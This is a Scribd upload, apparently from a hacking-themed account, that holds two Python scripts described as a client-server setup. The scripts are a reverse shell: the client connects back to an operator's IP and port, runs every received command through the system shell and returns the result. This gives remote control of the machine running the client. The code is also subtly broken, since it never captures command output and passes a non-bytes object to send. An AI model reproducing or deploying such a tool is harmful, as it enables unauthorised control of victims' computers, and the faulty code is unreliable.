0% found this document useful (0 votes)
9 views2 pages

Server

The document contains two Python scripts for a client-server architecture using sockets. The server script listens for incoming connections and sends commands to the client, while the client receives commands and executes them, sending back the output. Error handling is included to manage connection issues and command execution errors.

Uploaded by

d3r0x-h4cking
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
9 views2 pages

Server

The document contains two Python scripts for a client-server architecture using sockets. The server script listens for incoming connections and sends commands to the client, while the client receives commands and executes them, sending back the output. Error handling is included to manage connection issues and command execution errors.

Uploaded by

d3r0x-h4cking
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

server = """

import socket

host = input('Enter your IP: ')


port = int(input('Enter the port: '))

connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


connect.bind((host, port))
connect.listen()

print(f'\033[93mListening on {host}:{port}\033[0m')

c, addr = connect.accept()
print(f'Got connection from {addr}')

while True:
try:
data = input('➡️ \033[91mEnter the command: \033[0m')

#if not data:


#pass

c.send(data.encode('utf-8')) # Send command to client


rcv = c.recv(4096)

if not rcv:
print('Connection closed by client.')
break

print(rcv.decode('utf-8'))

except Exception as e:
print(f'Error: {e}')
break

c.close()
connect.close()

"""

client = """

import socket
import subprocess
import os

os.system('clear')

IP = input('\033[94mPut the IP which you wrote in server.py: \033[0m')


print ('')
PORT = int(input('\033[92mPut the port which you wrote in the server.py: \033[0m'))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
while True:
try:
command = s.recv(4096).decode('utf-8') # Receive command

if not command: # If server closes connection


print('Connection closed by server.')
break

output = subprocess.run(command, shell=True, stderr=subprocess.STDOUT)


s.send(output)

except subprocess.CalledProcessError as e: # Handle command errors


s.send(f"Command error: {e.output.decode('utf-8')}".encode('utf-8'))
except Exception as e: # Handle other errors
s.send(f"Error: {str(e)}".encode('utf-8'))

s.close()

"""

You might also like